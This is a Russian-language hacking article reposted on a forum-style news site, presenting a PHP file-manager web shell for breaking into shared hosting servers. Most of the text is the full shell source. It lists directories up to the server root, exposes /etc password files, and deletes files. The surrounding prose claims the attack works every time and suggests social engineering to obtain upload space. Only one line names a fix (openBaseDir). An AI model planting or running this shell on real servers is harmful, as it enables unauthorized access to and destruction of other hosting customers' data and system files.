Навигация
Категории
Top Hьюсмекеров
zenj68
Репутация: 0
Пол: Мужчина
Новости: 5396
Miracle
Репутация: 5
Пол: Мужчина
Новости: 4494
Gunpowder
Репутация: 0
Пол: Мужчина
Новости: 4024
x7Post7x7x
Репутация: 7
Пол: Женщина
Новости: 2784
Magik
Репутация: 0
Пол: Мужчина
Новости: 2567
Рекламка
Тут ваша реклама
Помощь сайту
webmoney





Рекламодатели
Главная » »
Взлом сервера/провайдера при помощи РНР скрипта

Взлом сервера/провайдера при помощи РНР скрипта

В этой статье я расскажу, как можно взломать сервер при помощи PHP скрипта. Многие провайдеры и компании предоставляющие хостинг отказываются от предоставления услуги запуска пользовательских CGI скриптов из-за так сказать соображений собственной безопасности. Конечно CGI скрипты не без греха в плане безопасности, а ленивые админы не желающие или не умеющие работать с сервисными службами при просьбе разрешить запуск своих собственных CGI скриптов на сайте отвечают, что мы вот вам разрешили исполнять PHP этим и пользуйтесь, а открывать CGI скриптами верный путь к атакам сервера мы не хотим и не дадим!!! Давайте рассмотрим так уж безопасен ли PHP для сервера как об этом говорят.

Данная информация опубликована только для цели информировать разработчиков PHP и администраторов серверов о возможности атаки сервера через PHP скрипты. Никакой ответственности за практическое осмысление данной информации пользователями я не несу!

Язык PHP имеет довольно много функций работы с файлами, разработанный мной скрипт реализует дыру под названием Save mode то есть ошибку которую допустили разработчики PHP 3- 4. Данная атака на сервер проходит со 100% гарантией. Для успешной атаки сервера взломщику необходим клочок дискового пространстве на сервере размером в 10 Kb (ровно столько весит скрипт) и возможность запустить свой PHP скрипт. Далеко не секрет, что хакеры очень часто проникают в систему использую социнженерию, то есть изначально подготавливают жертву, что бы та им доверяла, получают от неё информацию и осуществляют взлом. Поэтому раздобыть на любом сервере небольшое дисковое пространство для хакера не проблема. В крайнем случае можно и купить себе домен на сервере провайдера или любой другой хостинговой компании которую хакер собирается взломать. В большей части взлому подвержены бесплатные хостинговые компании и провайдеры которые при регистрации доступа в интернет дают бесплатное место для размещение домашней странички пользователя с запуском собственных PHP скриптов. Идея реализации атаки заключается в том, что бы залезть на жёсткий диск провайдера и иметь возможность управлять файлами то есть удалять, просматривать, редактировать. Конечно ни один провайдер не даст вам посмотреть файлы и каталоги которые размещены у него на сервере тем боле, что то там менять или удалять. Ну коль мы не можем посмотреть, что и где лежит у провайдера пусть за нас посмотрит PHP скрипт . Для этого нам придётся написать сравнительно небольшой скрипт для управления файлами на сайте который получит доступ к ресурсам сервера. Для начала определим какими функциями должен обладать скрипт. Заложим в него функции удаления выбранных файлов, скрипт должен уметь просматривать картинки, открывать каталоги, выставлять права доступа к файлам, знать когда файл был создан в системе, когда файл был изменён, к какой группе относится файл и выставлять соответствующую иконку для удобства , что бы мы на взгляд могли определить что за файл, переходить из каталога в каталог, указывать полные пути до файлов . Думаю этих функций будет достаточно для того, что бы без труда можно было ориентироваться не сервере провайдера. Теперь когда мы определились, что будет делать скрипт приступим к его написанию с детальным пояснением что где происходит.

<?php // говорим что это PHP скрипт
function cmp( $a, $b ) // обьявляем функции
{
GLOBAL $sort; // сортируем полученные функции

if( $a->inode == $b->inode )
return 0;

switch( $sort ) // объявляем , что по каким функциям будет сортироваться
{
case "size":
return ($a->size > $b->size) ? -1 : 1;
case "type":
return strcmp($a->type, $b->type);
case "view":
return strcmp($a->view, $b->view);
case "atime":
return ($a->atime > $b->atime) ? -1 : 1;
case "ctime":
return ($a->ctime > $b->ctime) ? -1 : 1;
case "mtime":
return ($a->mtime > $b->mtime) ? -1 : 1;
case "group":
return strcmp($a->group, $b->group);
case "inode":
return ($a->inode > $b->inode) ? -1 : 1;
case "owner":
return strcmp($a->owner, $b->owner);
case "perms":
return ($a->perms > $b->perms) ? -1 : 1;
case "ext":
return strcmp($a->ext, $b->ext);
case "name":
default:
return 1;
}
}

function getIcons( $ext ) // объявляем функцию сопоставления иконки с типом файла
{
switch( $ext )
{
case "dir":
$file = "dir";
break;
case "link":
$file = "link";
break;
case "zip":
case "tgz":
case "gz":
case "Z":
$file = "compressed";
break;
case "gif":
case "jpg":
$file = "image2";
break;
case "dvi":
$file = "dvi";
break;
case "":
case "exe":
$file = "binary";
break;
case "sh":
case "php":
case "php3":
case "sql":
case "inc":
case "js":
$file = "script";
break;
case "txt":
$file = "text";
break;
case "html":
case "shtml":
case "phtml":
$file = "world1";
break;
default:
$file = "generic";
break;
}

return $IMG="<IMG SRC='icons/".$file.".gif'>";
}

class MyFile { /* объявляем какие данные будут получены */
var $name;
var $path;
var $type;
var $ext;
var $stype;
var $sfile;
var $size;
var $file;
var $atime;
var $ctime;
var $mtime;
var $group;
var $inode;
var $owner;
var $perms;

function set( $filename, $path )
{
GLOBAL $cd; /* объявляем функции перехода по каталогам */
// далее без коментариев думаю и так всем будет понятно что происходит
$this->name = $filename;
$this->path = $path ;
$this->file = $this->path."/".$this->name;

$this->type = filetype( $this->file );
$this->size = filesize( $this->file );
$this->atime = fileatime( $this->file );
$this->ctime = filectime( $this->file );
$this->mtime = filemtime( $this->file );
$this->group = filegroup( $this->file );
$this->inode = fileinode( $this->file );
$this->owner = fileowner( $this->file );
$this->perms = fileperms( $this->file );

switch( $this->type )
{
case "link":
$this->sfile = readlink( $this->file );
$this->stype = filetype( $this->sfile );
$this->ext = "link";
break;
case "file":
$list = explode( ".", $this->name );
$nb = sizeof( $list );
if( $nb > 0 )
$this->stype = $list[$nb-1];
else
$this->stype = "???";

$this->ext = $this->stype;

switch( $this->stype )
{
case "gif":
case "GIF":
case "jpg":
case "JPG":
if( isset( $cd ) )
$pwd = $cd."/";
else
$pwd = "";

$this->sfile = "<IMG SRC='".$this->file."'>";
break;
default:
$this->sfile = $this->stype;
break;
}
break;
default:
$this->stype = "";
$this->sfile = "";
$this->ext = $this->type;
break;
}
}

function formatSize()
{
return number_format( $this->size, 0, ".", " ");
}
}

function genUrl( $ref, $args, $key = "", $val = "" )
{
$valist = "";

reset( $args );

if( $key != "" )
$args[ "$key" ] = $val;

if( !is_array( $args ) )
return $ref;

while( list( $key, $val ) = each( $args ) )
{
if( $val == "" )
continue;

if( $valist == "" )
$valist .= "?";
else
$valist .= "&";

$valist .= $key."=".$val;
}
return $ref.$valist;
}

function updir( $path )
{
$last = strrchr( $path, "/" );
$n1 = strlen( $last );
$n2 = strlen( $path );
return substr( $path, 0, $n2-$n1 );
}

$ref = "dir.php";

if( isset( $cd ) )
{
$path = $cd;
//$lcd = "?cd=$cd'";
$args[ "cd" ] = $cd;
}
else
{
$path = ".";
//$lcd = "";
$args[ "cd" ] = "";
}

if( isset( $nb ) )
{
for( $i = 0; $i < $nb; $i++ )
{
$var = "id_$i";
if( isset( $$var ) )
{
$file = $path."/".$$var;
if( is_file( $file ) || is_link( $file ) )
{
if( unlink( $file ) )
echo "<BR><b>$file</b> успешно удалён\n"; //сообщение об успешном удалении файла
else
echo "<BR>Не могу удалить выставите права доступа <b>$file</b>\n"; //сообщение о невозможности удалить файл который доступен только для чтения
}
elseif( is_dir( $file ) )
{
if( rmdir( $file ) )
echo "<BR><b>$file</b> успешно удалён\n"; // сообщение об успешном удалении
else
echo "<BR>файл недоступен для удаления<b>$file</b>\n"; //сообщение о невозможности удалить файл
}
}
}
}

$step = 100;

if( !isset( $sort ) )
$sort = "name";
else
$args[ "sort" ] = $sort;

if( !isset( $from ) )
$from = 0;
else
$args[ "from" ] = $from;

if( !isset( $to ) )
$to = $from + $step;

$d = dir($path);
echo "\n";
echo "<br><a href=$ref >Вернуться в начало</a>\n"; // ссылка на возврат в домашнею директорию скрипта
$updir = updir($d->path);
if( $updir != "." )
echo "<br>Подняться на директорию вверх; <a href=$ref?cd=$updir>$updir</a>\n"; //ссылка на директорию в верх
echo "<br>Открыть директорию: <a href=$ref?cd=".$d->path."/..>..</a>\n"; // обновление текущей директории
echo "<br>Текущая директория: <b>".$d->path."</b>\n"; // показываем путь до директории и файлов которые в ней находятся

$n = 0;
while( $entry=$d->read() )
{
$lFiles[ $n ] = new MyFile;
$lFiles[ $n ]->set( $entry, $path );
$n++;
}

$d->close();
// создаём HTML форму управления функциями
echo "<FORM NAME='del' METHOD='post' ACTION='".genUrl( $ref, $args )."'>\n";
echo "<TABLE BORDER=1>\n";
echo "<TR>\n";
echo "<TH>D</TH>\n";
//echo "<TH><a href='".genUrl( $ref, $args, "sort", "type" )."'>Type</a></TH>\n";
echo "<TH><a href='".genUrl( $ref, $args, "sort", "name" )."'>Имя</a></TH>\n";
echo "<TH><a href='".genUrl( $ref, $args, "sort", "size" )."'>Размер</a></TH>\n";
echo "<TH><a href='".genUrl( $ref, $args, "sort", "ext" )."'>Класс</a></TH>\n";
echo "<TH><a href='".genUrl( $ref, $args, "sort", "atime" )."'>В системе</a></TH>\n";
echo "<TH><a href='".genUrl( $ref, $args, "sort", "ctime" )."'>Создан</a></TH>\n";
echo "<TH><a href='".genUrl( $ref, $args, "sort", "mtime" )."'>Изменён</a></TH>\n";
echo "<TH><a href='".genUrl( $ref, $args, "sort", "perms" )."'>Размер</a></TH>\n";
echo "<TH><a href='".genUrl( $ref, $args, "sort", "group" )."'>Группа</a></TH>\n";
echo "<TH><a href='".genUrl( $ref, $args, "sort", "owner" )."'>ow</a></TH>\n";
echo "<TH><a href='".genUrl( $ref, $args, "sort", "inode" )."'>in</a></TH>\n";
echo "<TH>Показ</TH>\n";
echo "</TR>\n";

@usort( $lFiles, cmp );

for( $i = 0; $i < $n; $i++ )
{
if( ( $i < $from ) || ( $i >= $to ) )
continue;

$k = $i;
echo "<TR>\n";
echo "<TD><INPUT TYPE='checkbox' NAME='id_$k' VALUE='".
$lFiles[ $k ]->name
."'></TD>\n";

$IMG=getIcons( $lFiles[ $k ]->ext );

$dform = "M j y H:i";
// echo "<TD ALIGN=CENTER >".$lFiles[ $k ]->type."</TD>\n";
echo "<TD>$IMG".$lFiles[ $k ]->name."</TD>\n";
echo "<TD ALIGN=RIGHT >".$lFiles[ $k ]->formatSize()."</TD>\n";
echo "<TD>".$lFiles[ $k ]->ext ."</TD>\n";
echo "<TD>".date( $dform, $lFiles[ $k ]->atime )."</TD>\n";
echo "<TD>".date( $dform, $lFiles[ $k ]->ctime )."</TD>\n";
echo "<TD>".date( $dform, $lFiles[ $k ]->mtime )."</TD>\n";
echo "<TD>".$lFiles[ $k ]->perms."</TD>\n";
echo "<TD>".$lFiles[ $k ]->group."</TD>\n";
echo "<TD>".$lFiles[ $k ]->owner."</TD>\n";
echo "<TD>".$lFiles[ $k ]->inode."</TD>\n";

switch( $lFiles[ $k ]->type )
{
case "link":
if( $lFiles[ $k ]->stype == "dir" )
{
$tcd = $lFiles[ $k ]->path."/".$lFiles[ $k ]->name;
echo "<TD><a href='".
genUrl( $ref, $args, "cd", $tcd )."'>".
$lFiles[ $k ]->sfile."</a></TD>\n";
}
else
echo "<TD>".$lFiles[ $k ]->sfile."</TD>\n";
break;
case "dir":
$tcd = $lFiles[ $k ]->path."/".$lFiles[ $k ]->name;
echo "<TD><a href='".
genUrl( $ref, $args, "cd", $tcd )."'>".
$lFiles[ $k ]->name."</a></TD>\n";
break;
case "file":
echo "<TD>".$lFiles[ $k ]->sfile."</TD>\n";
break;
default:
echo "<TD>NO</TD>\n";
break;
}
echo "</TR>\n";
}

echo "</TABLE>\n";

$from = $from - $step;
if( isset( $cd ) )
{
echo "<INPUT TYPE='hidden' NAME='cd' VALUE='$cd'>\n";
}
echo "<INPUT TYPE='hidden' NAME='nb' VALUE='$n'>\n";

//echo "<br>from=$from;to=$to;n=$n\n";
echo "<br>\n";
if( $from >= 0 )
{
echo "<a href='".
genUrl( $ref, $args, "from", $from )."' >Предыдущий</a>/\n";
}
if( $to <= $n )
{
echo "<a href='".
genUrl( $ref, $args, "from", $to )."' >Далее</a> \n";
}
echo "<br>\n";
echo "<INPUT TYPE='submit' VALUE='Del'>\n";
echo "</FORM>\n";
?> // говорим что PHP скрипт кончился

Вот реализация скрипта который позволяет вам получить доступ в каталоги провайдера содержащиеся у него на винчестере. Потенциальная опасность применения данного скрипта в том, что злоумышленник получает практически всю информацию о сервере, так же злоумышленник получает доступ до незабвенной папки etc где хранятся пароли. При проверке работоспособности скрипта и проверке на уязвимости было выявлено, что все сервера на которых разрешён запуск PHP оказались подвержены данной атаке. Опробованы методы атаки удалённых хостинговых компаний и провайдеров. Скрипт помещяется на сервер провайдера где вам разрешен запуск PHP скриптов как я уже сказал в директорию домашней странички. По умолчанию скрипт просматривает все находящиеся файлы в той директории, куда он был загружен (запущен) для того, что бы попасть в корневой каталог сервера жмите на ссылку "Подняться на каталог выше" до тех пор, пока вы не увидите корневой каталог сервера. При выходе из вашей директории скрипт возможно (очень редко) сообщит вам о невозможности выйти из вашего каталога, это сообщение сервера игнорируйте и жмите на ссылку "Подняться на каталог вверх" скрипт передаст данные серверу о том, что каталоги которые вы пытаетесь просмотреть являются вашими и вас миролюбиво пропустят. Эк сплоит данного скрипта предоставлен с ограничениями вы можете только просматривать содержимое папок и удалять файлы которые не защищены системой. Скрипт представлен только для того, что бы указать на возможность получения и удаления любой информации с сервера. Даже для среднего хацкера знать о системе провайдера всё это уже очень много.

Просмотреть исходник скрипта можно [здесь]
Скачать скрипт можно [здесь]

(Данная уязвимость устраняется установкой openBaseDir)
Скрипт разработан Coroner by Protect Field

Взлом сервера/провайдера при помощи РНР скрипта

Источник: http://field.h1.ru/




1656     20:26 17.05.2024     0
Всего комментариев: 0

Kомментарии
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]


Последние сообщения на форумах
Календарь
Реклама
Здесь может быть ваша реклама
Top 5 Коментаторов
lanx
Репутация: 211
Пол: Мужчина
Комментoв:  17
mars
Репутация: 0
Пол: Мужчина
Комментoв:  3
denis
Репутация: 0
Пол: Мужчина
Комментoв:  2
royss
Репутация: 2
Пол: Мужчина
Комментoв:  2
cube
Репутация: 28
Пол: Мужчина
Комментoв:  2
Кто с нами
Онлайн всего: 3
Гостей: 3
Пользователей: 0

Друзья сайта
Рекламодатели

Хостинг от uCoz